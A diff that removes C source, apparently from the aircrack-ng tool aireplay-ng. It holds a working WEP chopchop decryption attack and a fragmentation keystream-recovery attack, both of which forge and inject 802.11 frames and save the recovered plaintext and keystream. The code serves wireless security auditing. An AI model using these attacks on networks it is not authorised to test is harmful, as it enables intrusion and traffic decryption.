-				chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00;
-			}
-			else
-			{
-				printf("Enabling standard workaround: "
-					   " IP header re-creation.\n");
-
-				n = caplen - (z + 16);
-
-				chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA;
-				chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA;
-				chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
-				chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
-				chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
-				chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
-				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
-				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00;
-				chopped[24 + 14] = srcbuf[srcz + 14] ^ (n >> 8);
-				chopped[24 + 15] = srcbuf[srcz + 15] ^ (n & 0xFF);
-
-				memcpy(h80211, srcbuf, caplen);
-
-				for (i = z + 4; i < (int) caplen; i++)
-					h80211[i - 4] = h80211[i] ^ chopped[i - diff];
-
-				/* sometimes the header length or the tos field vary */
-
-				for (i = 0; i < 16; i++)
-				{
-					h80211[z + 8] = 0x40 + i;
-					chopped[24 + 12] = srcbuf[srcz + 12] ^ (0x40 + i);
-
-					for (j = 0; j < 256; j++)
-					{
-						h80211[z + 9] = j;
-						chopped[24 + 13] = srcbuf[srcz + 13] ^ j;
-
-						if (check_crc_buf(h80211 + z, caplen - z - 8))
-							goto have_crc_match;
-					}
-				}
-
-				printf("This doesn't look like an IP packet, "
-					   "try another one.\n");
-			}
-
-		have_crc_match:
-			break;
-		}
-
-		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
-		{
-			/* send one modified frame */
-
-			ticks[2] = 0;
-
-			memcpy(h80211, chopped, data_end - 1);
-
-			/* note: guess 256 is special, it tests if the  *
-			 * AP properly drops frames with an invalid ICV *
-			 * so this guess always has its bit 8 set to 0  */
-
-			if (is_deauth_mode)
-			{
-				opt.r_smac[1] |= (guess < 256);
-				opt.r_smac[5] = guess & 0xFF;
-			}
-			else
-			{
-				opt.r_dmac[1] |= (guess < 256);
-				opt.r_dmac[5] = guess & 0xFF;
-			}
-
-			memcpy(h80211 + 10, opt.r_smac, 6);
-			memcpy(h80211 + 16, opt.r_dmac, 6);
-
-			if (guess < 256)
-			{
-				h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
-				h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
-				h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
-				h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
-			}
-
-			errno = 0;
-
-			if (send_packet(h80211, data_end - 1) != 0)
-			{
-				free(chopped);
-				return (1);
-			}
-
-			if (errno != EAGAIN)
-			{
-				guess++;
-
-				if (guess > 256) guess = 0;
-			}
-		}
-
-		/* watch for a response from the AP */
-
-		n = read_packet(h80211, sizeof(h80211), NULL);
-
-		if (n < 0)
-		{
-			free(chopped);
-			return (1);
-		}
-
-		if (n == 0) continue;
-
-		nb_pkt_read++;
-
-		/* check if it's a deauth packet */
-
-		if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
-		{
-			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0 && !is_deauth_mode)
-			{
-				nb_bad_pkt++;
-
-				if (nb_bad_pkt > 256)
-				{
-					printf("\rgot several deauthentication packets - pausing 3 "
-						   "seconds for reconnection\n");
-					sleep(3);
-					nb_bad_pkt = 0;
-				}
-
-				continue;
-			}
-
-			if (h80211[4] != opt.r_smac[0]) continue;
-			if (h80211[6] != opt.r_smac[2]) continue;
-			if (h80211[7] != opt.r_smac[3]) continue;
-			if (h80211[8] != opt.r_smac[4]) continue;
-
-			if ((h80211[5] & 0xFE) != (opt.r_smac[1] & 0xFE)) continue;
-
-			if (!(h80211[5] & 1))
-			{
-				if (data_end < 41) goto header_rec;
-
-				printf("\n\nFailure: the access point does not properly "
-					   "discard frames with an\ninvalid ICV - try running "
-					   "aireplay-ng in authenticated mode (-h) instead.\n\n");
-				free(chopped);
-				return (1);
-			}
-		}
-		else
-		{
-			if (is_deauth_mode) continue;
-
-			/* check if it's a WEP data packet */
-
-			if ((h80211[0] & 0x0C) != 8) continue;
-			if ((h80211[0] & 0x70) != 0) continue;
-			if ((h80211[1] & 0x03) != 2) continue;
-			if ((h80211[1] & 0x40) == 0) continue;
-
-			/* check the extended IV (TKIP) flag */
-
-			z = ((h80211[1] & 3) != 3) ? 24 : 30;
-			if ((h80211[0] & 0x80) == 0x80) /* QoS */
-				z += 2;
-
-			if ((h80211[z + 3] & 0x20) != 0) continue;
-
-			/* check the destination address */
-
-			if (h80211[4] != opt.r_dmac[0]) continue;
-			if (h80211[6] != opt.r_dmac[2]) continue;
-			if (h80211[7] != opt.r_dmac[3]) continue;
-			if (h80211[8] != opt.r_dmac[4]) continue;
-
-			if ((h80211[5] & 0xFE) != (opt.r_dmac[1] & 0xFE)) continue;
-
-			if (!(h80211[5] & 1))
-			{
-				if (data_end < 41) goto header_rec;
-
-				printf("\n\nFailure: the access point does not properly "
-					   "discard frames with an\ninvalid ICV - try running "
-					   "aireplay-ng in non-authenticated mode instead.\n\n");
-				free(chopped);
-				return (1);
-			}
-		}
-
-		/* we have a winner */
-
-		guess = h80211[9];
-
-		chopped[data_end - 1] ^= guess;
-		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-		n = caplen - data_start;
-
-		printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
-			   "%4lu frames written in %5.0fms\n",
-			   data_end - 1,
-			   100 * (caplen - data_end) / n,
-			   chopped[data_end - 1],
-			   chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1],
-			   nb_pkt_sent,
-			   ticks[3]);
-
-		if (is_deauth_mode)
-		{
-			opt.r_smac[1] = rand() & 0x3E;
-			opt.r_smac[2] = rand() & 0xFF;
-			opt.r_smac[3] = rand() & 0xFF;
-			opt.r_smac[4] = rand() & 0xFF;
-		}
-		else
-		{
-			opt.r_dmac[1] = rand() & 0xFE;
-			opt.r_dmac[2] = rand() & 0xFF;
-			opt.r_dmac[3] = rand() & 0xFF;
-			opt.r_dmac[4] = rand() & 0xFF;
-		}
-
-		ticks[3] = 0;
-		nb_pkt_sent = 0;
-		nb_bad_pkt = 0;
-		guess = 256;
-
-		data_end--;
-
-		alarm(0);
-	}
-
-	/* reveal the plaintext (chopped contains the prga) */
-
-	memcpy(h80211, srcbuf, caplen);
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-	diff = z - 24;
-
-	chopped[24 + 4] = srcbuf[srcz + 4] ^ b1;
-	chopped[24 + 5] = srcbuf[srcz + 5] ^ b2;
-	chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
-	chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
-	chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
-	chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
-
-	for (i = z + 4; i < (int) caplen; i++)
-		h80211[i - 4] = h80211[i] ^ chopped[i - diff];
-
-	if (!check_crc_buf(h80211 + z, caplen - z - 8))
-	{
-		if (!tried_header_rec)
-		{
-			printf("\nWarning: ICV checksum verification FAILED! Trying "
-				   "workaround.\n");
-			tried_header_rec = 1;
-			goto header_rec;
-		}
-		else
-		{
-			printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
-				   "likely invalid/useless\nTry another one.\n");
-		}
-	}
-
-	caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */
-
-	h80211[1] &= 0xBF; /* remove the WEP bit, too */
-
-	/* save the decrypted packet */
-
-	gettimeofday(&tv, NULL);
-
-	pfh_out.magic = TCPDUMP_MAGIC;
-	pfh_out.version_major = PCAP_VERSION_MAJOR;
-	pfh_out.version_minor = PCAP_VERSION_MINOR;
-	pfh_out.thiszone = 0;
-	pfh_out.sigfigs = 0;
-	pfh_out.snaplen = 65535;
-	pfh_out.linktype = LINKTYPE_IEEE802_11;
-
-	pkh.tv_sec = tv.tv_sec;
-	pkh.tv_usec = tv.tv_usec;
-	pkh.caplen = caplen;
-	pkh.len = caplen;
-
-	lt = localtime((const time_t *) &tv.tv_sec);
-
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "replay_dec-%02d%02d-%02d%02d%02d.cap",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	printf("\nSaving plaintext in %s\n", strbuf);
-
-	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		free(chopped);
-		return (1);
-	}
-
-	n = sizeof(struct pcap_file_header);
-
-	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed\n");
-		free(chopped);
-		fclose(f_cap_out);
-		return (1);
-	}
-
-	n = sizeof(pkh);
-
-	if (fwrite(&pkh, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed");
-		free(chopped);
-		fclose(f_cap_out);
-		return (1);
-	}
-
-	n = pkh.caplen;
-
-	if (fwrite(h80211, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed");
-		free(chopped);
-		fclose(f_cap_out);
-		return (1);
-	}
-
-	fclose(f_cap_out);
-
-	/* save the RC4 stream (xor mask) */
-
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "replay_dec-%02d%02d-%02d%02d%02d.xor",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	printf("Saving keystream in %s\n", strbuf);
-
-	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		free(chopped);
-		return (1);
-	}
-
-	n = pkh.caplen + 8 - 24;
-
-	if (fwrite(chopped + 24, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed");
-		free(chopped);
-		fclose(f_cap_out);
-		return (1);
-	}
-
-	free(chopped);
-	fclose(f_cap_out);
-
-	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
-		   (long) (time(NULL) - tt),
-		   (float) (pkh.caplen - 6 - 24) / (float) (time(NULL) - tt));
-
-	return (0);
-}
-
-static int make_arp_request(unsigned char * h80211,
-							unsigned char * bssid,
-							unsigned char * src_mac,
-							unsigned char * dst_mac,
-							unsigned char * src_ip,
-							unsigned char * dst_ip,
-							int size)
-{
-	unsigned char * arp_header
-		= (unsigned char *) "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00"
-							"\x06"
-							"\x04\x00\x01";
-	unsigned char * header80211 = (unsigned char *) "\x08\x41\x95\x00";
-
-	// 802.11 part
-	memcpy(h80211, header80211, 4);
-	memcpy(h80211 + 4, bssid, 6);
-	memcpy(h80211 + 10, src_mac, 6);
-	memcpy(h80211 + 16, dst_mac, 6);
-	h80211[22] = '\x00';
-	h80211[23] = '\x00';
-
-	// ARP part
-	memcpy(h80211 + 24, arp_header, 16);
-	memcpy(h80211 + 40, src_mac, 6);
-	memcpy(h80211 + 46, src_ip, 4);
-	memset(h80211 + 50, '\x00', 6);
-	memcpy(h80211 + 56, dst_ip, 4);
-
-	// Insert padding bytes
-	memset(h80211 + 60, '\x00', size - 60);
-
-	return 0;
-}
-
-static void save_prga(char * filename,
-					  unsigned char * iv,
-					  unsigned char * prga,
-					  int prgalen)
-{
-	FILE * xorfile;
-	size_t unused;
-	xorfile = fopen(filename, "wb");
-	if (xorfile)
-	{
-		if (fwrite(iv, 1, 4, xorfile) != -1)
-		{
-			unused = fwrite(prga, 1, prgalen, xorfile);
-		}
-		fclose(xorfile);
-	}
-}
-
-static int do_attack_fragment(void)
-{
-	unsigned char packet[4096];
-	unsigned char packet2[4096];
-	unsigned char prga[4096];
-	unsigned char iv[4];
-
-	//    unsigned char ack[14] = "\xd4";
-
-	char strbuf[256];
-
-	struct tm * lt;
-	struct timeval tv, tv2;
-
-	int done;
-	int caplen;
-	int caplen2;
-	int arplen;
-	int round;
-	int prga_len;
-	int isrelay;
-	int again;
-	int length;
-	int ret;
-	int gotit;
-	int acksgot;
-	int packets;
-	int z;
-
-	unsigned char * snap_header
-		= (unsigned char *) "\xAA\xAA\x03\x00\x00\x00\x08\x00";
-
-	done = caplen = caplen2 = arplen = round = 0;
-	prga_len = isrelay = gotit = again = length = 0;
-
-	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a source MAC (-h).\n");
-		return (1);
-	}
-
-	if (getnet(NULL, 1, 1) != 0) return 1;
-
-	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
-	{
-		memset(opt.r_dmac, '\xFF', 6);
-		opt.r_dmac[5] = 0xED;
-	}
-
-	if (memcmp(opt.r_sip, NULL_MAC, 4) == 0)
-	{
-		memset(opt.r_sip, '\xFF', 4);
-	}
-
-	if (memcmp(opt.r_dip, NULL_MAC, 4) == 0)
-	{
-		memset(opt.r_dip, '\xFF', 4);
-	}
-
-	PCT;
-	printf("Waiting for a data packet...\n");
-
-	while (!done) //
-	{
-		round = 0;
-
-		if (capture_ask_packet(&caplen, 0) != 0) return -1;
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-		if ((h80211[0] & 0x80) == 0x80) /* QoS */
-			z += 2;
-
-		if ((unsigned) caplen > sizeof(packet)
-			|| (unsigned) caplen > sizeof(packet2))
-			continue;
-
-		memcpy(packet2, h80211, caplen);
-		caplen2 = caplen;
-		PCT;
-		printf("Data packet found!\n");
-
-		if (memcmp(packet2 + 4, SPANTREE, 6) == 0
-			|| memcmp(packet2 + 16, SPANTREE, 6) == 0)
-		{
-			packet2[z + 4]
-				= ((packet2[z + 4] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
-			packet2[z + 5]
-				= ((packet2[z + 5] ^ 0x42) ^ 0xAA); // 0x42 instead of 0xAA
-			packet2[z + 10]
-				= ((packet2[z + 10] ^ 0x00) ^ 0x08); // 0x00 instead of 0x08
-		}
-
-		prga_len = 7;
-
-		again = RETRY;
-
-		memcpy(packet, packet2, caplen2);
-		caplen = caplen2;
-		memcpy(prga, packet + z + 4, prga_len);
-		memcpy(iv, packet + z, 4);
-
-		xor_keystream(prga, snap_header, prga_len);
-
-		while (again == RETRY) // sending 7byte fragments
-		{
-			again = 0;
-
-			arplen = 60;
-			make_arp_request(h80211,
-							 opt.f_bssid,
-							 opt.r_smac,
-							 opt.r_dmac,
-							 opt.r_sip,
-							 opt.r_dip,
-							 arplen);
-
-			if ((round % 2) == 1)
-			{
-				PCT;
-				printf("Trying a LLC NULL packet\n");
-				memset(h80211 + 24, '\x00', 39);
-				arplen = 63;
-			}
-
-			acksgot = 0;
-			packets = (arplen - 24) / (prga_len - 4);
-			if ((arplen - 24) % (prga_len - 4) != 0) packets++;
-
-			PCT;
-			printf("Sending fragmented packet\n");
-			send_fragments(h80211, arplen, iv, prga, prga_len - 4, 0);
-			//            //Plus an ACK
-			//            send_packet(ack, 10);
-
-			gettimeofday(&tv, NULL);
-
-			while (!gotit) // waiting for relayed packet
-			{
-				caplen = read_packet(packet, sizeof(packet), NULL);
-				z = ((packet[1] & 3) != 3) ? 24 : 30;
-				if ((packet[0] & 0x80) == 0x80) /* QoS */
-					z += 2;
-
-				if (packet[0] == 0xD4)
-				{
-					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-					{
-						acksgot++;
-					}
-					continue;
-				}
-
-				if ((packet[0] & 0x08)
-					&& ((packet[1] & 0x40)
-						== 0x40)) // Is data frame && encrypted
-				{
-					if ((packet[1] & 2)) // Is a FromDS packet
-					{
-						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
-						{
-							if (!memcmp(
-									opt.r_smac, packet + 16, 6)) // From our MAC
-							{
-								if (caplen - z < 66) // Is short enough
-								{
-									// This is our relayed packet!
-									PCT;
-									printf("Got RELAYED packet!!\n");
-									gotit = 1;
-									isrelay = 1;
-								}
-							}
-						}
-					}
-				}
-
-				/* check if we got an deauthentication packet */
-
-				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
-				{
-					PCT;
-					printf("Got a deauthentication packet!\n");
-					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
-					// frames in this period
-				}
-
-				/* check if we got an disassociation packet */
-
-				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
-				{
-					PCT;
-					printf("Got a disassociation packet!\n");
-					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
-					// frames in this period
-				}
-
-				gettimeofday(&tv2, NULL);
-				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-					 + (tv2.tv_usec - tv.tv_usec))
-						> (100 * 1000)
-					&& acksgot > 0
-					&& acksgot < packets) // wait 100ms for acks
-				{
-					PCT;
-					printf("Not enough acks, repeating...\n");
-					again = RETRY;
-					break;
-				}
-
-				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-					 + (tv2.tv_usec - tv.tv_usec))
-						> (1500 * 1000)
-					&& !gotit) // wait 1500ms for an answer
-				{
-					PCT;
-					printf("No answer, repeating...\n");
-					round++;
-					again = RETRY;
-					if (round > 10)
-					{
-						PCT;
-						printf("Still nothing, trying another packet...\n");
-						again = NEW_IV;
-					}
-					break;
-				}
-			}
-		}
-
-		if (again == NEW_IV) continue;
-
-		make_arp_request(h80211,
-						 opt.f_bssid,
-						 opt.r_smac,
-						 opt.r_dmac,
-						 opt.r_sip,
-						 opt.r_dip,
-						 60);
-		if (caplen - z == 68 - 24)
-		{
-			// That's the ARP packet!
-			//             PCT; printf("That's our ARP packet!\n");
-		}
-		if (caplen - z == 71 - 24)
-		{
-			// That's the LLC NULL packet!
-			//             PCT; printf("That's our LLC Null packet!\n");
-			memset(h80211 + 24, '\x00', 39);
-		}
-
-		if (!isrelay)
-		{
-			// Building expected cleartext
-			unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01"
-									 "\x08\x00\x06\x04\x00\x02";
-			// Ethernet & ARP header
-
-			// Followed by the senders MAC and IP:
-			memcpy(ct + 16, packet + 16, 6);
-			memcpy(ct + 22, opt.r_dip, 4);
-
-			// And our own MAC and IP:
-			memcpy(ct + 26, opt.r_smac, 6);
-			memcpy(ct + 32, opt.r_sip, 4);
-
-			// Calculating
-			memcpy(prga, packet + z + 4, 36);
-			xor_keystream(prga, ct, 36);
-		}
-		else
-		{
-			memcpy(prga, packet + z + 4, 36);
-			xor_keystream(prga, h80211 + 24, 36);
-		}
-
-		memcpy(iv, packet + z, 4);
-		round = 0;
-		again = RETRY;
-		while (again == RETRY)
-		{
-			again = 0;
-
-			PCT;
-			printf("Trying to get 384 bytes of a keystream\n");
-
-			arplen = 408;
-
-			make_arp_request(h80211,
-							 opt.f_bssid,
-							 opt.r_smac,
-							 opt.r_dmac,
-							 opt.r_sip,
-							 opt.r_dip,
-							 arplen);
-			if ((round % 2) == 1)
-			{
-				PCT;
-				printf("Trying a LLC NULL packet\n");
-				memset(h80211 + 24, '\x00', arplen + 8);
-				arplen += 32;
-			}
-
-			acksgot = 0;
-			packets = (arplen - 24) / (32);
-			if ((arplen - 24) % (32) != 0) packets++;
-
-			send_fragments(h80211, arplen, iv, prga, 32, 0);
-			//            //Plus an ACK
-			//            send_packet(ack, 10);
-
-			gettimeofday(&tv, NULL);
-
-			gotit = 0;
-			while (!gotit) // waiting for relayed packet
-			{
-				caplen = read_packet(packet, sizeof(packet), NULL);
-				z = ((packet[1] & 3) != 3) ? 24 : 30;
-				if ((packet[0] & 0x80) == 0x80) /* QoS */
-					z += 2;
-
-				if (packet[0] == 0xD4)
-				{
-					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-						acksgot++;
-					continue;
-				}
-
-				if ((packet[0] & 0x08)
-					&& ((packet[1] & 0x40)
-						== 0x40)) // Is data frame && encrypted
-				{
-					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
-					{
-						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
-						{
-							if (!memcmp(
-									opt.r_smac, packet + 16, 6)) // From our MAC
-							{
-								if (caplen - z > 400 - 24
-									&& caplen - z < 500 - 24) // Is short enough
-								{
-									// This is our relayed packet!
-									PCT;
-									printf("Got RELAYED packet!!\n");
-									gotit = 1;
-									isrelay = 1;
-								}
-							}
-						}
-					}
-				}
-
-				/* check if we got an deauthentication packet */
-
-				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
-				{
-					PCT;
-					printf("Got a deauthentication packet!\n");
-					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
-					// frames in this period
-				}
-
-				/* check if we got an disassociation packet */
-
-				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
-				{
-					PCT;
-					printf("Got a disassociation packet!\n");
-					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
-					// frames in this period
-				}
-
-				gettimeofday(&tv2, NULL);
-				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-					 + (tv2.tv_usec - tv.tv_usec))
-						> (100 * 1000)
-					&& acksgot > 0
-					&& acksgot < packets) // wait 100ms for acks
-				{
-					PCT;
-					printf("Not enough acks, repeating...\n");
-					again = RETRY;
-					break;
-				}
-
-				if (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-					 + (tv2.tv_usec - tv.tv_usec))
-						> (1500 * 1000)
-					&& !gotit) // wait 1500ms for an answer
-				{
-					PCT;
-					printf("No answer, repeating...\n");
-					round++;
-					again = RETRY;
-					if (round > 10)
-					{
-						PCT;
-						printf("Still nothing, trying another packet...\n");
-						again = NEW_IV;
-					}
-					break;
-				}
-			}
-		}
-
-		if (again == NEW_IV) continue;
-
-		make_arp_request(h80211,
-						 opt.f_bssid,
-						 opt.r_smac,
-						 opt.r_dmac,
-						 opt.r_sip,
-						 opt.r_dip,
-						 408);
-		if (caplen - z == 416 - 24)
-		{
-			// That's the ARP packet!
-			//             PCT; printf("That's our ARP packet!\n");
-		}
-		if (caplen - z == 448 - 24)
-		{
-			// That's the LLC NULL packet!
-			//             PCT; printf("That's our LLC Null packet!\n");
-			memset(h80211 + 24, '\x00', 416);
-		}
-
-		memcpy(iv, packet + z, 4);
-		memcpy(prga, packet + z + 4, 384);
-		xor_keystream(prga, h80211 + 24, 384);
-
-		round = 0;
-		again = RETRY;
-		while (again == RETRY)
-		{
-			again = 0;
-
-			PCT;
-			printf("Trying to get 1500 bytes of a keystream\n");
-
-			make_arp_request(h80211,
-							 opt.f_bssid,
-							 opt.r_smac,
-							 opt.r_dmac,
-							 opt.r_sip,
-							 opt.r_dip,
-							 1500);
-			arplen = 1500;
-			if ((round % 2) == 1)
-			{
-				PCT;
-				printf("Trying a LLC NULL packet\n");
-				memset(h80211 + 24, '\x00', 1508);
-				arplen += 32;
-			}
-
-			acksgot = 0;
-			packets = (arplen - 24) / (300);
-			if ((arplen - 24) % (300) != 0) packets++;
-
-			send_fragments(h80211, arplen, iv, prga, 300, 0);
-			//            //Plus an ACK
-			//            send_packet(ack, 10);
-
-			gettimeofday(&tv, NULL);
-
-			gotit = 0;
-			while (!gotit) // waiting for relayed packet
-			{
-				caplen = read_packet(packet, sizeof(packet), NULL);
-				z = ((packet[1] & 3) != 3) ? 24 : 30;
-				if ((packet[0] & 0x80) == 0x80) /* QoS */
-					z += 2;
-
-				if (packet[0] == 0xD4)
-				{
-					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
-						acksgot++;
-					continue;
-				}
-
-				if ((packet[0] & 0x08)
-					&& ((packet[1] & 0x40)
-						== 0x40)) // Is data frame && encrypted
-				{
-					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
-					{
-						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
-						{
-							if (!memcmp(
-									opt.r_smac, packet + 16, 6)) // From our MAC
-							{
-								if (caplen - z > 1496 - 24) // Is short enough
-								{
-									// This is our relayed packet!
-									PCT;
-									printf("Got RELAYED packet!!\n");
-									gotit = 1;
-									isrelay = 1;
-								}
-							}
-						}
-					}
-				}
-
-				/* check if we got an deauthentication packet */
-
-				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
-				{
-					PCT;
-					printf("Got a deauthentication packet!\n");
-					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
-					// frames in this period
-				}
-
-				/* check if we got an disassociation packet */
-
-				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
-				{
-					PCT;
-					printf("Got a disassociation packet!\n");
-					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
-					// frames in this period
-				}
-
-				gettimeofday(&tv2, NULL);
-				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-					 + (tv2.tv_usec - tv.tv_usec))
-						> (100 * 1000)
-					&& acksgot > 0
-					&& acksgot < packets) // wait 100ms for acks
-				{
-					PCT;
-					printf("Not enough acks, repeating...\n");
-					again = RETRY;
-					break;
-				}
-
-				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-					 + (tv2.tv_usec - tv.tv_usec))
-						> (1500 * 1000)
-					&& !gotit) // wait 1500ms for an answer
-				{
-					PCT;
-					printf("No answer, repeating...\n");
-					round++;
-					again = RETRY;
-					if (round > 10)
-					{
-						printf(
-							"Still nothing, quitting with 384 bytes? [y/n] \n");
-						fflush(stdout);
-						ret = 0;
-						while (!ret) ret = scanf("%1s", tmpbuf);
-
-						printf("\n");
-
-						if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y')
-							again = ABORT;
-						else
-							again = NEW_IV;
-					}
-					break;
-				}
-			}
-		}
-
-		if (again == NEW_IV) continue;
-
-		if (again == ABORT)
-			length = 408;
-		else
-			length = 1500;
-
-		make_arp_request(h80211,
-						 opt.f_bssid,
-						 opt.r_smac,
-						 opt.r_dmac,
-						 opt.r_sip,
-						 opt.r_dip,
-						 length);
-		if (caplen == length + 8 + z)
-		{
-			// That's the ARP packet!
-			//             PCT; printf("That's our ARP packet!\n");
-		}
-		if (caplen == length + 16 + z)
-		{
-			// That's the LLC NULL packet!
-			//             PCT; printf("That's our LLC Null packet!\n");
-			memset(h80211 + 24, '\x00', length + 8);
-		}
-
-		if (again != ABORT)
-		{
-			memcpy(iv, packet + z, 4);
-			memcpy(prga, packet + z + 4, length);
-			xor_keystream(prga, h80211 + 24, length);
-		}
-
-		lt = localtime((const time_t *) &tv.tv_sec);
-
-		memset(strbuf, 0, sizeof(strbuf));
-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "fragment-%02d%02d-%02d%02d%02d.xor",
-				 lt->tm_mon + 1,
-				 lt->tm_mday,
-				 lt->tm_hour,
-				 lt->tm_min,
-				 lt->tm_sec);
-		save_prga(strbuf, iv, prga, length);
-
-		printf("Saving keystream in %s\n", strbuf);
-		printf("Now you can build a packet with packetforge-ng out of that %d "
-			   "bytes keystream\n",
-			   length);
-
-		done = 1;
-	}
-
-	return (0);
-}
-
-static int grab_essid(unsigned char * packet, int len)
-{
-	int i = 0, j = 0, pos = 0, tagtype = 0, taglen = 0, chan = 0;
-	unsigned char bssid[6];
-
-	memcpy(bssid, packet + 16, 6);
-	taglen = 22; // initial value to get the fixed tags parsing started
-	taglen += 12; // skip fixed tags in frames
-	do
-	{
-		pos += taglen + 2;
-		tagtype = packet[pos];
-		taglen = packet[pos + 1];
-	} while (tagtype != 3 && pos < len - 2);
-
-	if (tagtype != 3) return -1;
-	if (taglen != 1) return -1;
-	if (pos + 2 + taglen > len) return -1;
-
-	chan = packet[pos + 2];
-
-	pos = 0;
-
-	taglen = 22; // initial value to get the fixed tags parsing started
-	taglen += 12; // skip fixed tags in frames
-	do
-	{
-		pos += taglen + 2;
-		tagtype = packet[pos];
-		taglen = packet[pos + 1];
-	} while (tagtype != 0 && pos < len - 2);
-
-	if (tagtype != 0) return -1;
-	if (taglen > 250) taglen = 250;
-	if (pos + 2 + taglen > len) return -1;
-
-	for (i = 0; i < MAX_APS; i++)
-	{
-		if (ap[i].set)
-		{
-			if (memcmp(bssid, ap[i].bssid, 6) == 0) // got it already
-			{
-				if (packet[0] == 0x50 && !ap[i].found)
-				{
-					ap[i].found++;
-				}
-				if (ap[i].chan == 0) ap[i].chan = chan;
-				break;
-			}
-		}
-		if (ap[i].set == 0)
-		{
-			for (j = 0; j < taglen; j++)
-			{
-				if (packet[pos + 2 + j] < 32 || packet[pos + 2 + j] > 127)
-				{
-					return -1;
-				}
-			}
-
-			ap[i].set = 1;
-			ap[i].len = taglen;
-			memcpy(ap[i].essid, packet + pos + 2, taglen);
-			ap[i].essid[taglen] = '\0';
-			memcpy(ap[i].bssid, bssid, 6);
-			ap[i].chan = chan;
-			if (packet[0] == 0x50) ap[i].found++;
-			return 0;
-		}
-	}
-	return -1;
-}
-
-static int get_ip_port(char * iface, char * ip, const int ip_size)
-{
-	char * host;
-	char * ptr;
-	int port = -1;
-	struct in_addr addr;
-
-	if (iface == NULL || iface[0] == 0)
-	{
-		return -1;
-	}
-
-	host = strdup(iface);
-	if (!host) return -1;
-
-	ptr = strchr(host, ':');
-	if (!ptr) goto out;
-
